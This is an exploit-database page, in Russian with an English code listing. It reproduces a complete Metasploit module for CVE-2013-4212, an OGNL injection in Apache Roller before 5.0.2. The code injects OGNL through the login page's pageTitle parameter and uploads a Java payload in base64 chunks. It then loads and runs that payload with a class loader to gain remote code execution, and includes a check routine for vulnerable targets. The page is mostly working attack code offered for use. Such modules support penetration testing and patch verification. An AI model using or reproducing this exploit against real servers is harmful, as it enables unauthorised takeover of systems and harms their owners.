Apache Roller OGNL Injection Exploit

Свойства

Дата публикации:
28.11.2013
Цель:
Apache Roller < 5.0.2
Тип воздействия:
Компрометация системы
Описание уязвимости:
Множественные уязвимости в Apache Roller

Код

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Roller OGNL Injection',
      'Description'    => %q{
        This module exploits an OGNL injection vulnerability in Apache Roller < 5.0.2. The
        vulnerability is due to an OGNL injection on the UIAction controller because of an
        insecure usage of the ActionSupport.getText method. This module has been tested
        successfully on Apache Roller 5.0.1 on Ubuntu 10.04.
      },
      'Author'         =>
        [
          'Unknown', # From coverity.com / Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2013-4212'],
          [ 'URL', 'http://security.coverity.com/advisory/2013/Oct/remote-code-execution-in-apache-roller-via-ognl-injection.html']
        ],
      'Platform'      => 'java',
      'Arch'          => ARCH_JAVA,
      'Privileged'     => true,
      'Targets'        =>
        [
          [ 'Apache Roller 5.0.1', { } ]
        ],
      'DisclosureDate' => 'Oct 31 2013',
      'DefaultTarget' => 0))
 
      register_options(
        [
          Opt::RPORT(8080),
          OptString.new('TARGETURI', [ true, 'The path to the Apache Roller application.', "/roller"])
        ], self.class)
  end
 
  def execute_command(cmd)
    injection = "%24{(%23_memberAccess[\"allowStaticMethodAccess\"]%3dtrue,CMD,'')}"
    injection.gsub!(/CMD/, Rex::Text::uri_encode(cmd))
 
    vprint_status("Attempting to execute: #{cmd}")
 
    res = send_request_cgi({
      'method'  => 'GET',
      'uri'     => normalize_uri(target_uri.path.to_s, "roller-ui", "login.rol"),
      'encode_params' => false,
      'vars_get' =>
      {
        'pageTitle' => injection
      }
    })
  end
 
  def java_upload_part(part, filename, append = 'false')
    cmd = "#f=new java.io.FileOutputStream('#{filename}'+#a,#{append}),"
    cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
    cmd << "#f.close(),#a='#{@random_suffix}'"
    execute_command(cmd)
  end
 
  def exploit
 
    print_status("Checking injection...")
 
    if check == Exploit::CheckCode::Vulnerable
      print_good("Target looks vulnerable, exploiting...")
    else
      print_warning("Target not found as vulnerable, trying anyway...")
    end
 
    @random_suffix = rand_text_alphanumeric(3) # To avoid duplicate execution
    @payload_exe = rand_text_alphanumeric(4+rand(4)) + ".jar"
    append = 'false'
    jar = payload.encoded_jar.pack
 
    File.open("/tmp/#{@payload_exe}", "wb") do |f| f.write(jar) end
 
    chunk_length = 384 # 512 bytes when base64 encoded
 
    parts = jar.chars.each_slice(chunk_length).map(&:join)
    parts.each do |part|
      java_upload_part(part, @payload_exe, append)
      append = 'true'
    end
 
    register_files_for_cleanup("#{@payload_exe}null", "#{@payload_exe}#{@random_suffix}")
 
    cmd = ""
    # disable Vararg handling (since it is buggy in OGNL used by Struts 2.1
    cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
    cmd << "#q.setAccessible(true),#q.set(null,true),"
    cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
    cmd << "#q.setAccessible(true),#q.set(null,false),"
    # create classloader
    cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}'+#a).toURI().toURL()}),#a='#{rand_text_alphanumeric(4)}',"
    # load class
    cmd << "#c=#cl.loadClass('metasploit.Payload'),"
    # invoke main method
    cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
    cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
    execute_command(cmd)
  end
 
  def check
    addend_one = rand_text_numeric(rand(3) + 1).to_i
    addend_two = rand_text_numeric(rand(3) + 1).to_i
    sum = addend_one + addend_two
 
    res = send_request_cgi({
      'method'  => 'GET',
      'uri'     => normalize_uri(target_uri.path.to_s, "roller-ui", "login.rol"),
      'vars_get' =>
        {
          'pageTitle' => "${new java.lang.Integer(#{addend_one}+#{addend_two})}",
        }
    })
 
    if res and res.code == 200 and res.body =~ /#{sum}/
      return Exploit::CheckCode::Vulnerable
    end
 
    return Exploit::CheckCode::Safe
  end
 
end
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